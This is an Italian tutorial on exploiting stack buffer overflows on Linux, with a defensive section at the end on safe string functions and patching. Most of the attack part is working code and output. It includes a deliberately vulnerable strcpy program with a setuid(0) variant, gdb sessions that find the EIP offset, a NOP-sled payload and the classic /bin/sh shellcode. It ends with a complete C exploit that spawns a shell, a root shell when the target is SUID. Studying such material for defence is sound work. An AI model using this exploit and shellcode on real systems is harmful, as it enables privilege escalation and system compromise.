Exploiting di applicazioni vulnerabili a buffer overflow sotto Linux

DISCLAIMER: I contenuti di seguito riportati possono, se sfruttati male, compromettere la sicurezza di un sistema informatico. L'autore della presente ritiene che ciò che non si conosce bene, nel mondo informatico e non solo, può danneggiare, e quindi ha scritto questa guida con carattere divulgativo, per far conoscere al grande pubblico una tecnica spesso usata da criminali informatici in modo che si sappia come difendersi. L'autore non si prende alcuna responsabilità per usi illegali e illeciti delle informazioni contenute qui di seguito, né di eventuali danni arrecati al sistema proprio o a sistemi altrui.

Prerequisiti per questo tutorial:

- Minime conoscenze di C, Perl, debugging sotto Linux e registri fondamentali della CPU

Questo tutorial illustrerà

- Cosa è un buffer overflow
- Come sfruttare un buffer overflow per eseguire codice arbitrario su un sistema
- Come scrivere exploit che sfruttino automaticamente queste vulnerabilità
- Come rendere sicure le proprie applicazioni e i propri sistemi da queste vulnerabilità

Il buffer overflow è uno degli errori di programmazione più comuni in linguaggi di programmazione a buffer statici, come C, C++ e tutti i linguaggi da essi derivati. Nonostante sia uno degli errori più pericolosi per la sicurezza di un'applicazione e di un sistema informatico in generale, e sia conosciuto e documentato da anni, al punto di essere spesso dipinto come 'la tecnica hacker per eccellenza', i bollettini di sicurezza in giro per il web pubblicano ancora quasi giornalmente notizie su applicazioni o servizi soggetti a questo tipo di vulnerabilità, a testimonianza del fatto che oltre a essere un tipo di errore studiato, documentato e famigerato le sue applicazioni sono ancora odierne.

Fondamentalmente, un buffer overflow, a livello della macchina, consiste nel 'trabordamento' di un'area di memoria all'interno di uno spazio di memoria dove l'applicazione non avrebbe i diritti di accesso. Tale trabordamento è dovuto a un mancato controllo sulle dimensioni della stringa di destinazione, con la conseguenza che i valori di troppo trabordano al di fuori dello spazio massimo assegnato alla stringa e sovrascrivono aree di memoria fondamentali.

Ecco il classico esempio di codice vulnerabile:

```
#include <stdio.h>
#include <string.h>

main (int argc, char **argv)  {
        char buff[1004];

        strcpy (buff,argv[1]);
        printf ("%s\n",buff);
}
```

Una piccola applicazione che legge il primo parametro passato, lo copia in una nuova stringa (buff) per poi stampare quest'ultima a schermo. Il problema qui è dato dalla dimensione massima della stringa, pari a 1004 caratteri. Non viene effettuato nessun controllo sulla dimensione della stringa passata al programma prima della copia. Di conseguenza, se eseguiamo l'applicazione passandogli un argomento molto lungo succederà una cosa del genere:

```
sh$ ./vuln `perl -e 'print "A" x1200'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
sh$
```

Da notare l'uso (comodissimo) dell'interprete Perl in modalità di eseguibile (opzione -e), che consente di eseguire del codice arbitrario Perl all'interno di una shell. L'istruzione Perl 'print “A” x1200', come intuibile, non fa altro che scrivere la lettera 'A' 1200 volte, e la stringa così generata viene passata come argomento al programma. Ma la dimensione massima del buffer nell'applicazione è di 1004 caratteri, e il programma tenta di copiare al suo interno un buffer di 1200 caratteri. Il buffer quindi trabocca e l'applicazione va in segmentation fault.

Per capire un po' meglio quello che è successo, diamo il programma in pasto al nostro debugger preferito (in questa sede userò gdb, il debugger GNU che è uno standard sui sistemi Unix) e vediamo cosa succede quando viene passato un argomento tanto lungo:

```
sh$ gdb ./vuln
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i486-slackware-linux"...Using host
libthread_db library "/lib/libthread_db.so.1".

(gdb) run `perl -e 'print "A" x1200'`
```

```
Starting program: /home/blacklight/prog/shell/strcpy/vuln `perl -e
'print "A" x1200'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
```

Andiamo a vedere cos'è successo nei registri:

```
(gdb) i r
eax            0x4b1    1201
ecx            0x0      0
edx            0x4b1    1201
ebx            0x4014cff0       1075105776
esp            0xbffff1b0       0xbffff1b0
ebp            0x41414141       0x41414141
esi            0xbffff200       -1073745408
edi            0x2      2
eip            0x41414141       0x41414141
eflags         0x10286  [ PF SF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb)
```

I registri EBP ed EIP contengono rispettivamente la base dello stack usato dall'applicazione e l'indirizzo in memoria della prossima istruzione che il calcolatore dovrà eseguire. Quello che ci interessa maggiormente è quest'ultimo registro. Notate che 0x41 non è altro che la rappresentazione ASCII del carattere 'A'. Questo vuol dire che l'argomento che abbiamo passato all'applicazione è andato a sovrascrivere il registro EIP, modificando l'indirizzo della prossima istruzione che il calcolatore deve eseguire. Tale indirizzo non è generalmente un indirizzo di memoria valido a cui l'applicazione può accedere. Il kernel del sistema operativo avvisa quindi che l'applicazione in questione ha tentato un accesso in memoria non

consentito e il programma termina immediatamente con il segnale di SIGSEGV (errore di segmentazione in memoria).

In questo caso, quindi, EIP viene sovrascritto con un indirizzo generalmente non valido. Potremmo però sovrascriverlo con un indirizzo di memoria valido, in modo che l'applicazione, subito dopo la copia del buffer, salti a quell'indirizzo, eseguendo del codice arbitrario deciso da noi.

Un'altra cosa fondamentale e capire *quando* viene sovrascritto il registro EIP, ovvero la dimensione precisa del buffer da iniettare per causare una sovrascrittura completa di EIP senza che dopo vi siano ulteriori caratteri. Questa cosa si fa generalmente procedendo per tentativi, o usando una delle applicazioni per il calcolo automatico del carico di lavoro che è possibile trovare in giro (tra cui lazyjoe).

Andando per tentativi, faremo una cosa del genere. Considerate sempre che prima di arrivare a sovrascrivere EIP ci sono alcuni caratteri nello stack, inseriti dall'applicazione stessa o dal kernel Linux (i cosiddetti *garbage data*). Su Linux quindi EIP non si sovrascrive subito se scriviamo un buffer lungo, nel nostro caso, 1004+4 caratteri, ma ne servono un po' di più. È quindi necessario armarsi di gdb e andare per tentativi:

```
(gdb) run `perl -e 'print "A" x1022'`
.........
Program received signal SIGSEGV, Segmentation fault.
0x40004143 in _dl_dst_substitute () from /lib/ld-linux.so.2
(gdb) i r
.........
ebp            0x41414141       0x41414141
.........
eip            0x40004143       0x40004143 <_dl_dst_substitute+483>
```

Qui la sovrascrittura di EBP è completa ma quella di EIP no (anche se già compare un 0x41). Aggiungiamo altri due caratteri e parte la magia:

```
(gdb) run `perl -e 'print "A" x1024'`
.........
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
.........
eip            0x41414141       0x41414141
```

E ora EIP è sovrascritto del tutto e non ci sono caratteri di troppo. La lunghezza magica del buffer che inietteremo è quindi di 1024, strutturati così:

- 1020 caratteri – buffer arbitrario
- 4 caratteri – valore che sovrascriverà EIP

Procedendo per passi, cominciamo considerando questa piccola variante del nostro codice vulnerabile:

```
#include <stdio.h>
#include <string.h>
```

```
void bof()  {
        printf ("Hey questo non dovrebbe essere eseguito! BOF!\n");
        exit(0);
}

main (int argc, char **argv)  {
        char buff[1004];
        setuid(0); setgid(0);

        strcpy (buff,argv[1]);
        printf ("%s\n",buff);
}
```

Una variante che contiene una funzione, bof, che non viene mai richiamata nel programma, e quindi non viene mai eseguita. Otteniamo l'indirizzo di questa funzione passando l'eseguibile a objdump:

```
sh$ objdump -d vuln | grep bof
08048474 <bof>:
sh$
```

(Tenete ovviamente conto che quasi sicuramente gli indirizzi saranno diversi sulla vostra macchina).

Alla luce di quanto visto prima possiamo sovrascrivere EIP in modo da passargli questo indirizzo. Semplicemente riempiamo i primi 1020 caratteri del buffer con dei caratteri arbitrari, quindi i caratteri da 1021 a 1024 con l'indirizzo appena calcolato (sempre sfruttando l'interprete Perl):

```
sh$ ./vuln `perl -e 'print "A" x1020; print "\x74\x84\x04\x08"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt
Hey questo non dovrebbe essere eseguito! BOF!
sh$
```

E magicamente ciò che non dovrebbe essere eseguito viene eseguito. Notate il modo in cui passo l'indirizzo che va a sovrascrivere EIP. La sequenza di escape '\x' messa all'interno di una print in Perl dice di considerare ciò che segue come un numero esadecimale. Inoltre, un'altra cosa fondamentale di cui tener conto è l'*endianness*. I sistemi moderni sono perlopiù Intel-based, e questa tecnologia legge dati dalla memoria a partire dal byte meno significativo fino a salire verso i byte più significativi. Questo vuol dire che l'indirizzo va

inserito 'capovolto', partendo dalle cifre meno significative, e scrivendolo sempre a coppie di cifre esadecimali (2 cifre esadecimali=1 byte).

Passiamo ora a qualcosa di più articolato. Il metodo visto sopra non fa altro che inserire un 'jump artificiale' all'interno di un'applicazione, dirottandola in un punto qualsiasi del suo codice. Generalmente lo scopo di un attaccante quando si trova davanti ad un'applicazione vulnerabile è quello di eseguire del codice arbitrario su quella macchina, del codice magari per aprire una shell remota, aggiungere un utente privilegiato al sistema, aggiungere o eliminare files, disabilitare un firewall e così via. Ciò è possibile tramite *shellcode*, sequenze di istruzioni in linguaggio macchina che vengono iniettate nello stack per poi dirottare l'applicazione vulnerabile al loro indirizzo (in modo che vengano eseguite le istruzioni al suo interno). Scrivere shellcode è un'arte, e ho già scritto un tutorial che illustra come creare shellcode di base su un sistema Linux. In questa sede useremo uno shellcode per Linux abbastanza conosciuto, tratto dal celebre articolo '*Smashing the stack for fun and profit*' (l'articolo comparso anni fa sulla famosissima rivista online *Phrack* e che ha portato l'attenzione di tutto l'underground e dell'IT security sul mondo dei buffer overflow), che potete visualizzare e scaricare da shellcode.org. Lo shellcode è il seguente:

```
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

Uno shellcode che procura una shell su un sistema. Per testarlo, il mio consiglio è di scrivere un codice C come il seguente:

```
char main[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

Compilato, eseguitelo e vi comparirà effettivamente una nuova shell.
È necessario sapere quanto è lungo lo shellcode in byte. Per farlo, vi consiglio questo metodo (che ci tornerà utile anche dopo quando vorremo exploitare l'applicazione):

```
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main()  {
        printf ("%s",shellcode);
}
```

Compiliamo questo codice, eseguiamolo e ridirigiamo l'output su un file (che quindi conterrà la versione binaria del nostro shellcode), per poi calcolare la sua dimensione in byte:

```
sh$ gcc -o shell shell.c
sh$ ./shell > code
sh$ wc -c < code1
45
```

Abbiamo quindi a che fare con uno shellcode lungo 45 byte. La lunghezza magica del buffer da passare all'applicazione, come abbiamo visto prima, è di 1024 byte. Conviene strutturare questo buffer riempiendolo all'inizio con tanti NOP (in Assembly No Operation, istruzioni

che fondamentalmente non fanno nulla), in modo da aumentare le probabilità che il codice inserito da noi venga eseguito. Questo perché non sempre si ha a disposizione l'indirizzo preciso in cui si trova il nostro shellcode nello stack in un certo momento, anzi la maggior parte delle volte è necessario procedere per tentativi. Se inserisco un indirizzo al quale si trova la mia sfilza di NOP il sistema semplicemente esegue di fila tutte le NOP fino ad arrivare al mio shellcode, e in questo modo aumento le probabilità di esecuzione del mio codice. Dopo le NOP, come accennato, inserisco il mio codice, quindi riempio gli ultimi 4 byte con l'indirizzo a cui voglio che il programma vada.

Andando per passi, so che la dimensione del mio buffer deve essere pari a 1024 byte. Di questi 4 sono riservati all'indirizzo, e me ne rimangono altri 1020. Gli ultimi 45 di questi sono riservati al mio shellcode. I rimanenti 975 andranno quindi riempiti con dei NOP (codice ASCII corrispondente: 0x90). La struttura del buffer sarà quindi la seguente:

- 0-975: NOP (0x90)
- 976-1020: Shellcode
- 1021-1024: Indirizzo

Resta da calcolare l'indirizzo a cui dirottare il programma. Sui moderni kernel Linux 2.6 purtroppo è difficile far funzionare shellcode con il metodo qui illustrato, in quanto, proprio per evitare l'exploiting, il kernel assegna di volta in volta un indirizzo nello stack diverso all'applicazione, che spesso si discosta molto dall'indirizzo assegnato in precedenza. Fino ai 2.4 invece il gioco è relativamente più facile. Apriamo di nuovo il nostro debugger e passiamogli una stringa lunga 1024 caratteri, per poi controllare, con una stringa tanto lunga, dove risiede lo stack del programma:

```
(gdb) run `perl -e 'print "A" x1024'`
Starting program: /home/blacklight/prog/shell/strcpy/vuln `perl -e
'print "A" x1024'`
.........
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
.........
esp            0xbffff260       0xbffff260
```

Proviamo infatti a spulciare nella memoria dalle parti di quell'indirizzo:

```
(gdb) x/1000xb 0xbffff260
0xbffff260:     0x00    0x00    0x00    0x00    0xa4    0xf2    0xff    0xbf
.........
0xbffff3d0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff3d8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff3e0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
```

Dopo un certo numero di caratteri ecco che compare la nostra sfilza di 'A'.
Rieseguiamo ora il programma con questo nuovo dato e passiamogli un buffer costruito in questo modo:

```
sh$ buff=`perl -e 'print "\x90" x975'``cat code``perl -e 'print
"\x60\xf2\xff\xbf"'`
```

Ovvero una variabile contenente, come visto prima, 975 NOP, il nostro shellcode (che precedentemente avevamo salvato sul file 'code') e l'indirizzo con cui sovrascrivere EIP. Avviamo il nostro programma con questo argomento:

```
blacklight@wildshark:~/prog/shell$ ./vuln $buff
ë^1ÀFF
       °
        óV
          Í1ÛØ@ÍèÜÿÿÿ/bin/sh`òÿ¿
sh-3.1$
```

Ed ecco comparsa per magia una nuova shell, come desiderato. Se il programma ha il bit SUID attivato, è di proprietà dell'utente root e lo shellcode richiama al suo interno la funzione *setreuid(0)* (ovvero opera come root), la shell che verrà fuori sarà una shell di root, senza nemmeno chiedere alcuna password.

Possiamo ora scrivere un exploit in C che generi automaticamente il buffer e lo passi al programma, in modo da automatizzare il processo di exploiting. Ecco il codice:

```
#include <string.h>
#include <unistd.h>

#define   NOP_SIZE  975
#define   ADDR      "\x60\xf2\xff\xbf"
#define   VULN_APP  "./vuln"

char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main()  {
     // Buffer che verrà riempito ad hoc
     char buff[1024];

     // Copio i NOP nel buffer
     memset (buff,0x90,NOP_SIZE);

     // Copio lo shellcode
     memcpy (buff+NOP_SIZE,shellcode,sizeof(shellcode));

     // Copio l'indirizzo
     memcpy (buff+NOP_SIZE+sizeof(shellcode)-1,ADDR,4);

     // Eseguo l'applicazione vulnerabile passandogli l'argomento
     // appena creato
     execl (VULN_APP,VULN_APP,buff,0);
}
```

Ed ecco il vostro primo exploit pronto.

È opportuno ora capire anche come difendersi da questo tipo di vulnerabilità all'interno delle applicazioni che scriviamo. Queste vulnerabilità sono dovuto ad una cattiva gestione dei buffer in memoria, come già visto, o meglio ad una mancanza di controlli all'interno del codice sui dati che vengono copiati all'interno delle stringhe. Per evitare errori di questo tipo, basta inserire nei propri programmi controlli sui dati che vengono copiati. Per fare ciò è estremamente sconsigliato usare, nelle proprie applicazioni C, funzioni come *gets, scanf, strcpy, strcat, sprintf* e simili per agire sulle stringhe, a meno che non si siano effettuati prima dei controlli sulla dimensione dei buffer. Tali funzioni infatti copiano o concatenano una stringa ad un'altra, o leggono stringhe da stdin senza effettuare alcun controllo sulla dimensione dei dati scambiati, e sono soggette quindi a overflow. In alternativa, è fortemente cosigliato usare funzioni come *fgets, fread, strncpy, strncat, snprintf*, funzioni che

effettuano operazioni sui buffer solo fino a una dimensione fissata. Ovviamente, bisogna controllare che la stringa di destinazione possa ospitare i caratteri passati a tali funzioni. L'altro forte consiglio è quello di usare, quando possibile, stringhe dinamiche, allocate con *malloc* e contenenti un numero di byte variabile in base alle esigenze, invece delle stringhe statiche, che sono più soggette al traboccamento. Inoltre la malloc istanzia i buffer sullo heap, che è un'area relativamente meno sensibile dello stack a queste vulnerabilità. E un altro consiglio, se si è degli amministratori di sistema o di rete, è di controllare periodicamente i bollettini di sicurezza pubblicati su internet, su siti come Security Focus o Secunia. Un buffer overflow in un'applicazione è quasi all'ordine del giorno, ed è di vitale importanza per la sicurezza dei propri sistemi sapere se sui sistemi che si gestisce è installata la versione vulnerabile di quell'applicazione. Se è così, è consigliabile rimuovere immediatamente quell'applicazione, o applicare tempestivamente una patch se rilasciata. Ogni giorno molti sistemi vengono violati proprio grazie a vulnerabilità del genere.